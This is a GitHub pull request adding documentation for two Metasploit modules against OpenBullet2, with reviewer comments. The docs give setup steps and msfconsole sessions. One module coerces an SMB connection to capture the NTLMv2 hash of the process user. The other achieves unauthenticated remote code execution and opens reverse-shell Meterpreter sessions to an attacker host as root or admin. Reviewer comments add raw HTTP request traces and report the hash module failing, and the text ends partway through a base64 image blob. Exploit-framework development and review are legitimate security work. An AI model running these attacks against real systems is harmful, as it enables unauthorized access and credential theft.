Skip to content
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
## Vulnerable Application

This Metasploit module exploits a Credential Disclosure vulnerability in OpenBullet2 on Windows.

An attacker can force the application to disclose the NTLMv2 hash of the process user by configuring a job proxy source with a malicious UNC path. When the job starts, the application attempts to load proxies from the specified path via SMB, allowing the hash to be captured for offline cracking or relaying.

The affected versions include releases from 0.2.5.

## Setup

### Windows

1. Download [OpenBullet2.Web-win-x64.zip](https://github.com/openbullet/OpenBullet2/releases/download/0.3.3.3093/OpenBullet2.Web-win-x64.zip) and unpack
2. Run
```
.\OpenBullet2.Web.exe --urls "http://0.0.0.0:5000"
```

### Set Authentication

Authentication is turned off by default.
You need to set it to check bypass.

1. Go to http://127.0.0.1:5000/settings
2. Click "Change admin password" and set any password
3. Turn "Require admin login" on
4. Save

## Scenario

```
msf > use scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908
msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set SRVHOST eth0
SRVHOST => 192.168.19.153
msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set RHOST 192.168.19.154
RHOST => 192.168.19.154
msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set RPORT 5000
RPORT => 5000
msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > run
[*] Running module against 192.168.19.154
[*] Running automatic check ("set AutoCheck false" to disable)
[*] OpenBullet2 Instance OS: Microsoft Windows NT 10.0.19044.0
[+] The target appears to be vulnerable. Detected version 0.3.3.3093, which is vulnerable
[*] Server is running. Listening on 192.168.19.153:445
[*] The SMB service has been started.
[*] Listening for hashes on 192.168.19.153:445
[SMB] NTLMv2-SSP Client : 192.168.19.154
[SMB] NTLMv2-SSP Username : DESKTOP-1E5TEED\admin
[SMB] NTLMv2-SSP Hash : admin::DESKTOP-1E5TEED:[HASH]

[*] Server stopped.
[*] Auxiliary module execution completed
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,100 @@
## Vulnerable Application

This Metasploit module exploits an Unauthenticated Remote Code Execution (RCE) vulnerability in OpenBullet2.

Attackers can leverage the plain C# execution mode, which lacks reference filtering or API restrictions, to access the file system, spawn processes, and invoke arbitrary .NET APIs as the process user.

The affected versions include releases from 0.2.5.

## Setup

### Linux

1. Set up
```
docker run --name openbullet2 --rm -p 5000:5000 -it openbullet/openbullet2:0.3.2
```

### Windows

1. Download [OpenBullet2.Web-win-x64.zip](https://github.com/openbullet/OpenBullet2/releases/download/0.3.3.3093/OpenBullet2.Web-win-x64.zip) and unpack

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I downloaded and installed this version 0.3.3.3092, the check method reports it as being vulnerable (I see from the output in the scenarios section that the exploit was working for you against this version) however I'm not seeing the NTLM hash being sent to the SMB service that the modules spins up.

NVD and vulncheck both say that OpenBullet2 <= 0.3.2 are vulnerable which would mean that this version is not vulnerable and the check method is incorrect.

I installed version 0.3.2 but the modules is still not working for me.

2. Run
```
.\OpenBullet2.Web.exe --urls "http://0.0.0.0:5000"
```

### Set Authentication

Authentication is turned off by default.
You need to set it to check bypass.

1. Go to http://127.0.0.1:8069/settings
2. Click "Change admin password" and set any password
3. Turn "Require admin login" on
4. Save

## Scenario

### Linux

```
msf > use exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856
[*] Using configured payload
msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set target 1
target => 1
msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RPORT 8069
RPORT => 8069
msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set LHOST docker0
LHOST => 172.17.0.1
msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] OS: Debian GNU/Linux 12 (bookworm)
[+] The target appears to be vulnerable. Detected version 0.3.2, which is vulnerable
[*] Sending stage (3090404 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:40666) at 2026-06-06 06:38:56 -0400

meterpreter > sysinfo
Computer : 67393a3c15a2
OS : Debian 12.7 (Linux 6.18.12+kali-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
```

### Windows

```
msf > use exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856
[*] Using configured payload
msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RHOSTS 192.168.19.154
RHOSTS => 192.168.19.154
msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RPORT 5000
RPORT => 5000
msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set target 2
target => 2
msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set LHOST eth0
LHOST => eth0
msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > run
[*] Started reverse TCP handler on 192.168.19.153:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] OS: Microsoft Windows NT 10.0.19044.0
[+] The target appears to be vulnerable. Detected version 0.3.3.3093, which is vulnerable
[*] Sending stage (232006 bytes) to 192.168.19.154
[*] Meterpreter session 1 opened (192.168.19.153:4444 -> 192.168.19.154:50388) at 2026-06-06 03:42:13 -0400

meterpreter > sysinfo
Computer : DESKTOP-1E5TEED
OS : Windows 10 21H2 (10.0 Build 19044).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: DESKTOP-1E5TEED\admin
```

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Testing on 0.3.2 I was unable able to get the target to send my SMB server the NLTM hash. I've included some detailed output below. Any idea what might be going wrong?

Testing 0.3.2



msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > run
[*] Running module against 172.16.199.130
[*] Running automatic check ("set AutoCheck false" to disable)
####################
# Request:
####################
GET /api/v1/info/update HTTP/1.1
Host: 172.16.199.130:5000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
X-Api-Key:


####################
# Response:
####################
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Mon, 27 Jul 2026 21:35:45 GMT
Server: Kestrel
Transfer-Encoding: chunked
api-supported-versions: 1.0

{"currentVersion":"0.3.2","remoteVersion":"2.0.1","isUpdateAvailable":true,"currentVersionType":"beta","remoteVersionType":"release"}
####################
# Request:
####################
GET /api/v1/info/server HTTP/1.1
Host: 172.16.199.130:5000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
X-Api-Key:
Content-Type: application/json


####################
# Response:
####################
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Mon, 27 Jul 2026 21:35:45 GMT
Server: Kestrel
Transfer-Encoding: chunked
api-supported-versions: 1.0

{"localUtcOffset":"-07:00:00","startTime":"2026-07-27T21:28:39.2281795Z","operatingSystem":"Microsoft Windows NT 10.0.19045.0","currentWorkingDirectory":"C:\\Users\\Administrator.KERBEROS\\Downloads\\OpenBullet2.Web","buildNumber":"9016.31871","buildDate":"2024-09-07T17:42:22Z","clientIpAddress":"172.16.199.1"}
[*] OpenBullet2 Instance OS: Microsoft Windows NT 10.0.19045.0
[+] The target appears to be vulnerable. Detected version 0.3.2, which is vulnerable
####################
# Request:
####################
GET /api/v1/config/all HTTP/1.1
Host: 172.16.199.130:5000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
X-Api-Key:


####################
# Response:
####################
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Mon, 27 Jul 2026 21:35:45 GMT
Server: Kestrel
Transfer-Encoding: chunked
api-supported-versions: 1.0

[]
####################
# Request:
####################
POST /api/v1/config HTTP/1.1
Host: 172.16.199.130:5000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
X-Api-Key:
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


####################
# Response:
####################
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Mon, 27 Jul 2026 21:35:45 GMT
Server: Kestrel
Transfer-Encoding: chunked
api-supported-versions: 1.0

{"id":"37680221-0cad-4d91-850f-f2cd6f16d056","isRemote":false,"mode":"stack","metadata":{"name":"New Config","category":"Default","author":"Anonymous","base64Image":"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U3pOVGN6a2M5ZCI/Pgo8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJYTVAgQ29yZSA0LjQuMC1FeGl2MiI+CiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICB4bWxuczppcHRjRXh0PSJodHRwOi8vaXB0Yy5vcmcvc3RkL0lwdGM0eG1wRXh0LzIwMDgtMDItMjkvIgogICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iCiAgICB4bWxuczpzdEV2dD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlRXZlbnQjIgogICAgeG1sbnM6cGx1cz0iaHR0cDovL25zLnVzZXBsdXMub3JnL2xkZi94bXAvMS4wLyIKICAgIHhtbG5zOkdJTVA9Imh0dHA6Ly93d3cuZ2ltcC5vcmcveG1wLyIKICAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIKICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIgogICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIgogICB4bXBNTTpEb2N1bWVudElEPSJnaW1wOmRvY2lkOmdpbXA6NWExZDRjYjQtNTkwNi00ZmUxLTgxNzItMDljNzRmMGNhYWIwIgogICB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjIzOTMxZTYxLTliYTEtNDk3ZC1iZjUwLTliZDE5M2Y1M2NmYyIKICAgeG1wTU06T3JpZ2luYWxEb2N1bWVudElEPSJ4bXAuZGlkOjg0YjlkMGRkLTk1NzgtNGVhNi04OGI3LTNiY2NmNjNlY2U5YyIKICAgR0lNUDpBUEk9IjIuMCIKICAgR0lNUDpQbGF0Zm9ybT0iV2luZG93cyIKICAgR0lNUDpUaW1lU3RhbXA9IjE2MDkzNzY4MDc2MTAxMzEiCiAgIEdJTVA6VmVyc2lvbj0iMi4xMC4yMiIKICAgZGM6Rm9ybWF0PSJpbWFnZS9wbmciCiAgIHRpZmY6T3JpZW50YXRpb249IjEiCiAgIHhtcDpDcmVhdG9yVG9vbD0iR0lNUCAyLjEwIj4KICAgPGlwdGNFeHQ6TG9jYXRpb25DcmVhdGVkPgogICAgPHJkZjpCYWcvPgogICA8L2lwdGNFeHQ6TG9jYXRpb25DcmVhdGVkPgogICA8